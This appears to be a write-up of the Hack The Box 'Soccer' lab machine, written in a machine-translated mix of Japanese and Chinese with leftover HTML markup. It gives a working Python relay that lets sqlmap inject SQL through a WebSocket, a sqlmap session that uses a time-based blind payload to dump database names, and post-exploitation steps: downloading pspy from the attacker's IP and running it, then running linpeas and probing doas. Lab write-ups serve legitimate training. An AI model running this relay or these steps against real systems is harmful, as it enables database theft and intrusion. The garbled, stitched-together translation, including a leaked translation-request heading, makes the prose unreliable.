from<\/span> http.server<\/span> import<\/span> SimpleHTTPRequestHandler<\/span>\r\nfrom<\/span> socketserver<\/span> import<\/span> TCPServer<\/span>\r\nfrom<\/span> urllib.parse<\/span> import<\/span> unquote<\/span>,<\/span> urlparse<\/span>\r\nfrom<\/span> websocket<\/span> import<\/span> create_connection<\/span>\r\n\r\n# \u4eca\u56de\u306eWebsocket\u306e\u901a\u4fe1\u5148\r\n<\/span>ws_server<\/span> =<\/span> \"<\/span>ws:\/\/soc-player.soccer.htb:9091<\/span>\"<\/span>\r\n\r\ndef<\/span> send_ws<\/span>(<\/span>payload<\/span>):<\/span>\r\n\tws<\/span> =<\/span> create_connection<\/span>(<\/span>ws_server<\/span>)<\/span>\r\n\t# If the server returns a response on connect, use below line\t\r\n<\/span>\t#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here\r\n<\/span>\t\r\n\t# For our case, format the payload in JSON\r\n<\/span>\tmessage<\/span> =<\/span> unquote<\/span>(<\/span>payload<\/span>).<\/span>replace<\/span>(<\/span>'\"'<\/span>,<\/span>'<\/span>\\'<\/span>'<\/span>)<\/span> # replacing \" with ' to avoid breaking JSON structure\r\n<\/span>\tdata<\/span> =<\/span> '<\/span>{<\/span>\"<\/span>id<\/span>\"<\/span>:<\/span>\"<\/span>%s<\/span>\"<\/span>}<\/span>'<\/span> %<\/span> message<\/span> #\u3053\u3053\u306fWebsocket\u3067\u9001\u3063\u3066\u3044\u308b\u9805\u76ee\u300cid\u300d\u306b\u5909\u63db\u3059\u308b\u3002\r\n<\/span>\r\n\tws<\/span>.<\/span>send<\/span>(<\/span>data<\/span>)<\/span>\r\n\tresp<\/span> =<\/span> ws<\/span>.<\/span>recv<\/span>()<\/span>\r\n\tws<\/span>.<\/span>close<\/span>()<\/span>\r\n\r\n\tif<\/span> resp<\/span>:<\/span>\r\n\t\treturn<\/span> resp<\/span>\r\n\telse<\/span>:<\/span>\r\n\t\treturn<\/span> ''<\/span>\r\n\r\ndef<\/span> middleware_server<\/span>(<\/span>host_port<\/span>,<\/span>content_type<\/span>=<\/span>\"<\/span>text\/plain<\/span>\"<\/span>):<\/span>\r\n\r\n\tclass<\/span> CustomHandler<\/span>(<\/span>SimpleHTTPRequestHandler<\/span>):<\/span>\r\n\t\tdef<\/span> do_GET<\/span>(<\/span>self<\/span>)<\/span> -><\/span> None<\/span>:<\/span>\r\n\t\t\tself<\/span>.<\/span>send_response<\/span>(<\/span>200<\/span>)<\/span>\r\n\t\t\ttry<\/span>:<\/span>\r\n\t\t\t\tpayload<\/span> =<\/span> urlparse<\/span>(<\/span>self<\/span>.<\/span>path<\/span>).<\/span>query<\/span>.<\/span>split<\/span>(<\/span>'<\/span>=<\/span>'<\/span>,<\/span>1<\/span>)[<\/span>1<\/span>]<\/span>\r\n\t\t\texcept<\/span> IndexError<\/span>:<\/span>\r\n\t\t\t\tpayload<\/span> =<\/span> False<\/span>\r\n\t\t\t\t\r\n\t\t\tif<\/span> payload<\/span>:<\/span>\r\n\t\t\t\tcontent<\/span> =<\/span> send_ws<\/span>(<\/span>payload<\/span>)<\/span>\r\n\t\t\telse<\/span>:<\/span>\r\n\t\t\t\tcontent<\/span> =<\/span> '<\/span>No parameters specified!<\/span>'<\/span>\r\n\r\n\t\t\tself<\/span>.<\/span>send_header<\/span>(<\/span>\"<\/span>Content-type<\/span>\"<\/span>,<\/span> content_type<\/span>)<\/span>\r\n\t\t\tself<\/span>.<\/span>end_headers<\/span>()<\/span>\r\n\t\t\tself<\/span>.<\/span>wfile<\/span>.<\/span>write<\/span>(<\/span>content<\/span>.<\/span>encode<\/span>())<\/span>\r\n\t\t\treturn<\/span>\r\n\r\n\tclass<\/span> _TCPServer<\/span>(<\/span>TCPServer<\/span>):<\/span>\r\n\t\tallow_reuse_address<\/span> =<\/span> True<\/span>\r\n\r\n\thttpd<\/span> =<\/span> _TCPServer<\/span>(<\/span>host_port<\/span>,<\/span> CustomHandler<\/span>)<\/span>\r\n\thttpd<\/span>.<\/span>serve_forever<\/span>()<\/span>\r\n\r\n\r\nprint<\/span>(<\/span>\"<\/span>[+] Starting MiddleWare Server<\/span>\"<\/span>)<\/span>\r\nprint<\/span>(<\/span>\"<\/span>[+] Send payloads in http:\/\/localhost:8081\/?id=*<\/span>\"<\/span>)<\/span>\r\n\r\ntry<\/span>:<\/span>\r\n\tmiddleware_server<\/span>((<\/span>'<\/span>0.0.0.0<\/span>'<\/span>,<\/span>8081<\/span>))<\/span>\r\nexcept<\/span> KeyboardInterrupt<\/span>:<\/span>\r\n\tpass<\/span>\r\n<\/code><\/pre>\n
\u3053\u306esqlmap_on_ws.py\u3092\u8d77\u52d5\u3059\u308b\u524d\u306bwebsocket\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u306a\u3044\u5834\u5408\u306f\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u3067\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u304a\u304f\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# pip install <\/span>websockets\r\n<\/code><\/pre>\n
\u542f\u52a8\u4e00\u4e2a\u4ee3\u7406\uff0c\u7528\u4e8e\u5c06\u4ecesqlmap\u53d1\u9001\u7684\u8bf7\u6c42\u8f6c\u6362\u6210WebSocket\u3002\u8be5\u4ee3\u7406\u5c06\u57288081\u7aef\u53e3\u63a5\u6536\u8bf7\u6c42\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# python3 sqlmap_on_ws.py\r\n<\/code><\/pre>\n
\u4e00\u65e6\u542f\u52a8\u540e\uff0c\u4f7f\u7528SQLmap\u8fdb\u884cSQL\u6ce8\u5165\u5f00\u59cb\u3002\u9996\u5148\u4ece\u6570\u636e\u5e93\u540d\u79f0\u5f00\u59cb\u63d0\u53d6\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# sqlmap -u<\/span> \"http:\/\/localhost:8081\/?id=1\"<\/span> --batch<\/span> --dbs<\/span>                                                                                               1 \u2a2f\r\n\/usr\/bin\/sqlmap:21: DeprecationWarning: The distutils package is deprecated and slated for <\/span>removal in <\/span>Python 3.12. Use setuptools or check PEP 632 for <\/span>potential alternatives\r\n  import distutils\r\n\r\n       __H__\r\n ___ ___[(]<\/span>_____ ___ ___  {<\/span>1.5.9#stable}<\/span>\r\n|_ -| .<\/span> [(]<\/span>     | .'| . |\r\n|___|_  [.]_|_|_|__,|  _|\r\n      |_|V...       |_|   http:\/\/sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'<\/span>s responsibility to obey all applicable local<\/span>, state and federal laws. Developers assume no liability and are not responsible for <\/span>any misuse or damage caused by this program\r\n\r\n[<\/span>*<\/span>]<\/span> starting @ 14:34:53 \/2022-12-24\/\r\n\r\n[<\/span>14:34:53] [<\/span>INFO] testing connection to the target URL\r\n[<\/span>14:34:54] [<\/span>WARNING] turning off pre-connect mechanism because of incompatible server (<\/span>'SimpleHTTP\/0.6 Python\/3.10.4'<\/span>)<\/span>\r\n[<\/span>14:34:54] [<\/span>INFO] checking if <\/span>the target is protected by some kind of WAF\/IPS\r\n[<\/span>14:34:55] [<\/span>INFO] testing if <\/span>the target URL content is stable\r\n[<\/span>14:34:56] [<\/span>INFO] target URL content is stable\r\n[<\/span>14:34:56] [<\/span>INFO] testing if <\/span>GET parameter 'id'<\/span> is dynamic\r\n[<\/span>14:34:57] [<\/span>WARNING] GET parameter 'id'<\/span> does not appear to be dynamic\r\n[<\/span>14:34:58] [<\/span>WARNING] heuristic (<\/span>basic)<\/span> test <\/span>shows that GET parameter 'id'<\/span> might not be injectable\r\n[<\/span>14:34:59] [<\/span>INFO] testing for <\/span>SQL injection on GET parameter 'id'<\/span>\r\n[<\/span>14:34:59] [<\/span>INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'<\/span>\r\n[<\/span>14:35:05] [<\/span>INFO] testing 'Boolean-based blind - Parameter replace (original value)'<\/span>\r\n[<\/span>14:35:06] [<\/span>INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'<\/span>\r\n[<\/span>14:35:11] [<\/span>INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'<\/span>\r\n[<\/span>14:35:17] [<\/span>INFO] testing 'Microsoft SQL Server\/Sybase AND error-based - WHERE or HAVING clause (IN)'<\/span>\r\n[<\/span>14:35:22] [<\/span>INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'<\/span>\r\n[<\/span>14:35:27] [<\/span>INFO] testing 'Generic inline queries'<\/span>\r\n[<\/span>14:35:29] [<\/span>INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'<\/span>\r\n[<\/span>14:35:36] [<\/span>INFO] testing 'Microsoft SQL Server\/Sybase stacked queries (comment)'<\/span>\r\n[<\/span>14:35:40] [<\/span>INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'<\/span>\r\n[<\/span>14:35:44] [<\/span>INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'<\/span>\r\n[<\/span>14:35:59] [<\/span>INFO] GET parameter 'id'<\/span> appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'<\/span> injectable \r\nit looks like the back-end DBMS is 'MySQL'<\/span>.<\/span> Do you want to skip test <\/span>payloads specific for <\/span>other DBMSes? [<\/span>Y\/n] Y\r\nfor <\/span>the remaining tests, do <\/span>you want to include all tests for<\/span> 'MySQL'<\/span> extending provided level (<\/span>1)<\/span> and risk (<\/span>1)<\/span> values? [<\/span>Y\/n] Y\r\n[<\/span>14:35:59] [<\/span>INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'<\/span>\r\n[<\/span>14:35:59] [<\/span>INFO] automatically extending ranges for <\/span>UNION query injection technique tests as there is at least one other (<\/span>potential)<\/span> technique found\r\n[<\/span>14:36:24] [<\/span>INFO] target URL appears to be UNION injectable with 3 columns\r\ninjection not exploitable with NULL values. Do you want to try with a random integer value for <\/span>option '--union-char'<\/span>? [<\/span>Y\/n] Y\r\n[<\/span>14:36:50] [<\/span>WARNING] if <\/span>UNION based SQL injection is not detected, please consider forcing the back-end DBMS (<\/span>e.g. '--dbms=mysql'<\/span>)<\/span> \r\n[<\/span>14:36:50] [<\/span>INFO] checking if <\/span>the injection point on GET parameter 'id'<\/span> is a false <\/span>positive\r\nGET parameter 'id'<\/span> is vulnerable. Do you want to keep testing the others (<\/span>if <\/span>any)<\/span>? [<\/span>y\/N] N\r\nsqlmap identified the following injection point(<\/span>s)<\/span> with a total of 99 HTTP(<\/span>s)<\/span> requests:\r\n---<\/span>\r\nParameter: id<\/span> (<\/span>GET)<\/span>\r\n    Type: time-based blind\r\n    Title: MySQL >=<\/span> 5.0.12 AND time-based blind (<\/span>query SLEEP)<\/span>\r\n    Payload: id<\/span>=<\/span>1 AND (<\/span>SELECT 6051 FROM (<\/span>SELECT(<\/span>SLEEP(<\/span>5)))<\/span>ohkl)<\/span>\r\n---<\/span>\r\n[<\/span>14:37:19] [<\/span>INFO] the back-end DBMS is MySQL\r\n[<\/span>14:37:19] [<\/span>WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \r\nback-end DBMS: MySQL >=<\/span> 5.0.12\r\n[<\/span>14:37:24] [<\/span>INFO] fetching database names\r\n[<\/span>14:37:24] [<\/span>INFO] fetching number of databases\r\n[<\/span>14:37:24] [<\/span>INFO] retrieved: \r\ndo <\/span>you want sqlmap to try to optimize value(<\/span>s)<\/span> for <\/span>DBMS delay responses (<\/span>option '--time-sec'<\/span>)<\/span>? [<\/span>Y\/n] Y\r\n5\r\n[<\/span>14:37:43] [<\/span>INFO] retrieved: \r\n[<\/span>14:37:49] [<\/span>INFO] adjusting time <\/span>delay to 2 seconds due to good response times\r\n<\/span>mysql\r\n[<\/span>14:39:00] [<\/span>INFO] retrieved: information_schema\r\n[<\/span>14:43:18] [<\/span>INFO] retrieved: performance_schema\r\n[<\/span>14:47:31] [<\/span>INFO] retrieved: sys\r\n[<\/span>14:48:18] [<\/span>INFO] retrieved: soc\r\n[<\/span>14:49:15] [<\/span>ERROR] invalid character detected. retrying..\r\n[<\/span>14:49:15] [<\/span>WARNING] increasing time <\/span>delay to 3 seconds\r\ncer_db\r\navailable databases [<\/span>5]:\r\n[<\/span>*<\/span>]<\/span> information_schema\r\n[<\/span>*<\/span>]<\/span> mysql\r\n[<\/span>*<\/span>]<\/span> performance_schema\r\n[<\/span>*<\/span>]<\/span> soccer_db\r\n[<\/span>*<\/span>]<\/span> sys\r\n<\/code><\/pre>\n
\"8.png\"<\/div>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~]\r\n\u2514\u2500# sqlmap -u<\/span> \"http:\/\/localhost:8081\/?id=1\"<\/span> --batch<\/span> dbs soccer_db --tables<\/span>\r\n<\/code><\/pre>\n
\"9.png\"<\/div>\n
Persistence – 2<\/h1>\n
\"10.png\"<\/div>\n
\u592a\u597d\u4e86\uff01\u6210\u529f\u4e86\uff01\uff01\uff01
\n\u6210\u529f\u53d6\u5f97\u4e00\u822c\u7528\u6237\u6743\u9650\u3002<\/p>\n
\u7279\u6743\u5347\u7ea7<\/h1>\n
\u6536\u96c6\u60c5\u62a5<\/h2>\n
\u6682\u65f6\u5148\u4ece\u6536\u96c6\u5347\u804c\u6240\u9700\u7684\u4fe1\u606f\u5f00\u59cb\u3002<\/p>\n
\u8bf7\u63d0\u4f9b\u4e0a\u8ff0\u547d\u4ee4\u7684\u4e2d\u6587\u672c\u5730\u5316\u7248\u672c\uff1asudo -l<\/h3>\n
\u6211\u5728\u60f3\u80fd\u5426\u901a\u8fc7”\u6ca1\u6709\u5bc6\u7801”\u6267\u884c\u7279\u6743\u547d\u4ee4\uff0c\u7136\u540e\u6211\u4f1a\u7528sudo -l\u8fdb\u884c\u786e\u8ba4\u3002<\/p>\n
player@soccer:\/tmp$ <\/span>sudo<\/span> -l<\/span>\r\n<\/code><\/pre>\n
\u4e00\u70b9\u597d\u6d88\u606f\u90fd\u6ca1\u4f20\u6765\u3002<\/p>\n
\u6f58\u65af\u6d3e\u4f0a<\/h3>\n
\u6211\u5728\u60f3\u6709\u6ca1\u6709\u4ec0\u4e48\u597d\u7684\u8fdb\u7a0b\u5728\u8fd0\u884c\uff0c\u7136\u540e\u6211\u5c31\u8fd0\u884cpspy\u3002
\n\u4ece\u4ee5\u4e0b\u7684\u7f51\u7ad9\u83b7\u53d6pspy\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002\u8bf7\u4e0b\u8f7d64\u4f4d\u7248\u672c\u3002<\/p>\n
 <\/p>\n
\u8d2d\u4e70\u540e\uff0c\u6211\u4eec\u5c06\u542f\u52a8\u4e00\u4e2a\u7b80\u6613\u7684Web\u670d\u52a1\u5668\uff0c\u5c06\u6267\u884c\u6587\u4ef6\u53d1\u9001\u5230\u76ee\u6807\u8bbe\u5907\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# python3 -m<\/span> http.server 80\r\n<\/code><\/pre>\n
\u4ece\u653b\u51fb\u76ee\u6807\u670d\u52a1\u5668\u4e0b\u8f7d\u8be5\u6587\u4ef6\uff0c\u7136\u540e\u6211\u4f1a\u68c0\u67e5\u6211\u7684IP\u3002
\n\u203b\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u662ftun0\u3002<\/p>\n
\u250c\u2500\u2500(<\/span>root?kali)<\/span>-[~\/work]\r\n\u2514\u2500# ip a                                                                                                                                               1 \u2a2f\r\n1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\r\n    link<\/span>\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r\n    inet 127.0.0.1\/8 scope host lo\r\n       valid_lft forever preferred_lft forever\r\n    inet6 ::1\/128 scope host \r\n       valid_lft forever preferred_lft forever\r\n\r\n...\r\n11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500\r\n    link<\/span>\/none \r\n    inet 10.10.14.72\/23 scope global tun0\r\n       valid_lft forever preferred_lft forever\r\n    inet6 dead:beef:2::101a\/64 scope global \r\n       valid_lft forever preferred_lft forever\r\n    inet6 fe80::cf43:caa1:e355:737d\/64 scope link <\/span>stable-privacy \r\n       valid_lft forever preferred_lft forever\r\n<\/code><\/pre>\n
\u653b\u6483\u5bfe\u8c61\u30b5\u30fc\u30d0\u3078\u8ee2\u9001\u3057\u307e\u3059\u3002<\/p>\n
player@soccer:\/tmp$ <\/span>wget http:\/\/10.10.14.72\/pspy64\r\n<\/code><\/pre>\n
\u5f00\u59cb\u6267\u884c\u5427\uff01<\/p>\n
player@soccer:\/tmp$ <\/span>.\/pspy64 \r\npspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855\r\n\r\n\r\n     \u2588\u2588\u2593\u2588\u2588\u2588    \u2588\u2588\u2588\u2588\u2588\u2588  \u2588\u2588\u2593\u2588\u2588\u2588 \u2593\u2588\u2588   \u2588\u2588\u2593\r\n    \u2593\u2588\u2588\u2591  \u2588\u2588\u2592\u2592\u2588\u2588    \u2592 \u2593\u2588\u2588\u2591  \u2588\u2588\u2592\u2592\u2588\u2588  \u2588\u2588\u2592\r\n    \u2593\u2588\u2588\u2591 \u2588\u2588\u2593\u2592\u2591 \u2593\u2588\u2588\u2584   \u2593\u2588\u2588\u2591 \u2588\u2588\u2593\u2592 \u2592\u2588\u2588 \u2588\u2588\u2591\r\n    \u2592\u2588\u2588\u2584\u2588\u2593\u2592 \u2592  \u2592   \u2588\u2588\u2592\u2592\u2588\u2588\u2584\u2588\u2593\u2592 \u2592 \u2591 \u2590\u2588\u2588\u2593\u2591\r\n    \u2592\u2588\u2588\u2592 \u2591  \u2591\u2592\u2588\u2588\u2588\u2588\u2588\u2588\u2592\u2592\u2592\u2588\u2588\u2592 \u2591  \u2591 \u2591 \u2588\u2588\u2592\u2593\u2591\r\n    \u2592\u2593\u2592\u2591 \u2591  \u2591\u2592 \u2592\u2593\u2592 \u2592 \u2591\u2592\u2593\u2592\u2591 \u2591  \u2591  \u2588\u2588\u2592\u2592\u2592 \r\n    \u2591\u2592 \u2591     \u2591 \u2591\u2592  \u2591 \u2591\u2591\u2592 \u2591     \u2593\u2588\u2588 \u2591\u2592\u2591 \r\n    \u2591\u2591       \u2591  \u2591  \u2591  \u2591\u2591       \u2592 \u2592 \u2591\u2591  \r\n                   \u2591           \u2591 \u2591     \r\n                               \u2591 \u2591     \r\n\r\nConfig: Printing events (<\/span>colored<\/span>=<\/span>true<\/span>)<\/span>: processes<\/span>=<\/span>true<\/span> | file-system-events=<\/span>false<\/span> ||<\/span>| Scannning for <\/span>processes every 100ms and on inotify events ||<\/span>| Watching directories: [<\/span>\/usr \/tmp \/etc \/home \/var \/opt] (<\/span>recursive)<\/span> | []<\/span> (<\/span>non-recursive)<\/span>\r\nDraining file system events due to startup...\r\ndone\r\n<\/span>2022\/12\/24 11:07:53 CMD: UID<\/span>=<\/span>1001 PID<\/span>=<\/span>7904   | \/usr\/bin\/dbus-daemon --session<\/span> --address<\/span>=<\/span>systemd: --nofork<\/span> --nopidfile<\/span> --systemd-activation<\/span> --syslog-only<\/span> \r\n2022\/12\/24 11:07:53 CMD: UID<\/span>=<\/span>1001 PID<\/span>=<\/span>4005   | -bash<\/span> \r\n2022\/12\/24 11:07:53 CMD: UID<\/span>=<\/span>1001 PID<\/span>=<\/span>3735   | \/lib\/systemd\/systemd --user<\/span> \r\n2022\/12\/24 11:07:53 CMD: UID<\/span>=<\/span>1001 PID<\/span>=<\/span>26549  | .\/pspy64 \r\n<\/code><\/pre>\n
\u8fd9\u8fb9\u4e5f\u6ca1\u6709\u7279\u522b\u6709\u76ca\u7684\u4fe1\u606f\u6d41\u4f20\u51fa\u6765\u3002<\/p>\n
linpeas \u6797\u76ae\u65af<\/h3>\n
\u90a3\u4e48\u6211\u5c31\u7b80\u5355\u5730\u6536\u96c6\u5404\u79cd\u4fe1\u606f\u8bd5\u8bd5\u770b\u3002
\n\u6240\u4ee5\u6211\u5c06\u4f7f\u7528Linpeas\u3002\u6211\u6bd4\u8f83\u559c\u6b22Linemun\u3002
\n\u4e0epspy\u7c7b\u4f3c\uff0c\u4ece\u4ee5\u4e0b\u7f51\u7ad9\u4e0b\u8f7dlinpeas.sh\u3002<\/p>\n
 <\/p>\n
\u6211\u4f1a\u50cfpspy\u4e00\u6837\u5c06\u5176\u8f6c\u53d1\u5230\u653b\u51fb\u76ee\u6807\u670d\u52a1\u5668\u3002
\n\u90a3\u597d\uff0c\u6211\u4f1a\u6267\u884c\u3002<\/p>\n
player@soccer:\/tmp$ <\/span>.\/linpeas.sh \r\n<\/code><\/pre>\n
\u3059\u308b\u3068\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u300c\/usr\/local\/bin\u300d\u914d\u4e0b\u306b\u5b9f\u884c\u3067\u304d\u305d\u3046\u306a\u3084\u3064\u3089\u304c\u3044\u305f\u3002<\/p>\n
...\u7701\u7565\r\n\r\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 .sh files in <\/span>path\r\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#script-binaries-in-path                                                                  \r\n\/usr\/bin\/rescan-scsi-bus.sh                                                                                                                                 \r\n\/usr\/bin\/gettext.sh\r\n\r\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Executable files potentially added by user (<\/span>limit 70)<\/span>\r\n                                                                                                               \r\n2022-11-17+09:09:15.5479107120 \/usr\/local\/bin\/doasedit\r\n2022-11-17+09:09:15.5439087120 \/usr\/local\/bin\/vidoas\r\n2022-11-17+09:09:15.5399067120 \/usr\/local\/bin\/doas\r\n2022-11-15+21:42:19.3514476930 \/etc\/grub.d\/01_track_initrdless_boot_fallback\r\n2022-11-15+21:40:43.9906230840 \/etc\/console-setup\/cached_setup_terminal.sh\r\n2022-11-15+21:40:43.9906230840 \/etc\/console-setup\/cached_setup_keyboard.sh\r\n2022-11-15+21:40:43.9906230840 \/etc\/console-setup\/cached_setup_font.sh\r\n\r\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Unexpected in <\/span>root\r\n\/data                                                                                                                                                       \r\n\/vagrant\r\n\r\n...\u7701\u7565\r\n<\/code><\/pre>\n
\u968f\u65f6<\/h2>\n
doas\u306e\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u304c\u4f55\u306a\u306e\u304b\u3088\u304f\u308f\u304b\u3089\u306a\u3044\u306e\u3067\u3001\u8fd1\u8fba\u306b\u3042\u3063\u305f\u300cdoasedit\u300d\u3092\u898b\u3066\u307f\u308b\u3002
\n\u203b\u5f8c\u3067\u8abf\u3079\u3066\u307f\u305f\u3089\u7c21\u5358\u306b\u7406\u89e3\u3067\u304d\u307e\u3057\u305f\uff08\u7b11\uff09\u3001\u4ee5\u4e0b\u306e\u30b5\u30a4\u30c8\u3092\u53c2\u8003\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n
 <\/p>\n
player@soccer:\/usr\/local\/bin$ <\/span>more doasedit \r\n#!\/bin\/sh<\/span>\r\n# Copy an existing text file to a temporary location. Then<\/span>\r\n# Edit the file.<\/span>\r\n# Attempt to then transfer the temporary file back to the original<\/span>\r\n# location if the temprary file has been altered.<\/span>\r\n# Conclude with a little clean-up.<\/span>\r\n# Try to avoid deleting any changes.<\/span>\r\n\r\nif<\/span> [<\/span> $# <\/span>-lt<\/span> 1 ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"usage: <\/span>$0<\/span> text-file\"<\/span>\r\n   exit <\/span>1\r\nfi\r\n\r\nif<\/span> [<\/span> !<\/span> -f<\/span> \"<\/span>$1<\/span>\"<\/span> ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"File does not exist or is a special file\/link.\"<\/span>\r\n   exit <\/span>2\r\nfi\r\n\r\nif<\/span> [<\/span> -L<\/span> \"<\/span>$1<\/span>\"<\/span> ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"File is a symbolic link. Refusing to edit.\"<\/span>\r\n   exit <\/span>2\r\nfi\r\n\r\nif<\/span> [<\/span> !<\/span> -r<\/span> \"<\/span>$1<\/span>\"<\/span> ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"This user is unable to read the specified file.\"<\/span>\r\n   exit <\/span>3\r\nfi\r\n\r\n<\/span>temp_file<\/span>=<\/span>$(<\/span>mktemp<\/span> --tmpdir<\/span> doasedit.XXXXXXXX)<\/span>\r\nif<\/span> [<\/span> !<\/span> $?<\/span> ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"Could not create temporary file.\"<\/span>\r\n   exit <\/span>4\r\nfi\r\n\r\n<\/span>cp<\/span> \"<\/span>$1<\/span>\"<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\nif<\/span> [<\/span> !<\/span> $?<\/span> ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"Unable to copy file <\/span>$1<\/span>\"<\/span>\r\n   exit <\/span>5\r\nfi<\/span>\r\n\r\n# If $VISUAL fails, run $EDITOR.<\/span>\r\n# $EDITOR should be a line editor functional without advanced terminal features.<\/span>\r\n# $VISUAL is a more advanced editor such as vi.<\/span>\r\n\"<\/span>${<\/span>VISUAL<\/span>:-<\/span>vi<\/span>}<\/span>\"<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\nif<\/span> [<\/span> !<\/span> $?<\/span> ]<\/span>\r\nthen<\/span>\r\n    \"<\/span>${<\/span>EDITOR<\/span>:-<\/span>ex<\/span>}<\/span>\"<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\n    if<\/span> [<\/span> !<\/span> $?<\/span> ]<\/span>\r\n    then\r\n      <\/span>echo<\/span> \"Could not run visual editor <\/span>$VISUAL<\/span>\"<\/span>\r\n      echo<\/span> \"Could not run editor <\/span>$EDITOR<\/span>\"<\/span>\r\n      echo<\/span> \"Please make sure the VISUAL and\/or EDITOR variables are set.\"<\/span>\r\n      rm<\/span> -f<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\n      exit <\/span>6\r\n    fi\r\nfi<\/span>\r\n\r\n# Check to see if the file has been changed.<\/span>\r\ncmp -s<\/span> \"<\/span>$1<\/span>\"<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\nstatus<\/span>=<\/span>$?<\/span>\r\nif<\/span> [<\/span> $status<\/span> -eq<\/span> 0 ]<\/span>\r\nthen\r\n   <\/span>echo<\/span> \"File unchanged. Not writing back to original location.\"<\/span>\r\n   rm<\/span> -f<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\n   exit <\/span>0\r\nfi<\/span>\r\n\r\n# At this point the file has been changed. Make sure it still exists.<\/span>\r\nif<\/span> [<\/span> -f<\/span> \"<\/span>$temp_file<\/span>\"<\/span> ]<\/span>\r\nthen\r\n    <\/span>doas cp<\/span> \"<\/span>$temp_file<\/span>\"<\/span> \"<\/span>$1<\/span>\"<\/span>\r\n    cmp -s<\/span> \"<\/span>$temp_file<\/span>\"<\/span> \"<\/span>$1<\/span>\"<\/span>\r\n    status<\/span>=<\/span>$?<\/span>\r\n    # If file fails to copy, do not do clean-up<\/span>\r\n    while<\/span> [<\/span> $status<\/span> -ne<\/span> 0 ]<\/span>\r\n    do\r\n       <\/span>echo<\/span> \"Copying file back to <\/span>$1<\/span> failed. Press Ctrl-C to abort or Enter to try again.\"<\/span>\r\n       read <\/span>abc\r\n       doas cp<\/span> \"<\/span>$temp_file<\/span>\"<\/span> \"<\/span>$1<\/span>\"<\/span>\r\n       cmp -s<\/span> \"<\/span>$temp_file<\/span>\"<\/span> \"<\/span>$1<\/span>\"<\/span>\r\n       status<\/span>=<\/span>$?<\/span>\r\n    done\r\nfi<\/span>\r\n\r\n# Clean up<\/span>\r\nrm<\/span> -f<\/span> \"<\/span>$temp_file<\/span>\"<\/span>\r\nexit <\/span>0\r\n<\/code><\/pre>\n
\u8fd9\u91cc\u6709\u4e00\u4e2adoas cp “$temp_file” “$1″\u3002\u770b\u8d77\u6765\u50cf\u662f\u4e00\u4e2a\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684\u6587\u4ef6\u3002\u561b\uff0c\u8bd5\u7740\u8fd0\u884c\u4e00\u4e0b\u5427\u3002<\/p>\n
player@soccer:\/usr\/local\/bin$ <\/span>doas\r\nusage: doas [<\/span>-nSs<\/span>]<\/span> [<\/span>-a<\/span> style] [<\/span>-C<\/span> config] [<\/span>-u<\/span> user] command<\/span> [<\/span>args]\r\n<\/code><\/pre>\n
\u307b\u3046\u3001[-u user]\u3068\u3042\u308b\u3057\u3001\u30e6\u30fc\u30b6\u3092\u6307\u5b9a\u3057\u3066\u5b9f\u884c\u3067\u304d\u308b\u306e\u304b\u306a\uff1f
\nman\u30b3\u30de\u30f3\u30c9\u3067\u78ba\u8a8d\u3057\u3066\u307f\u305f\u3002<\/p>\n
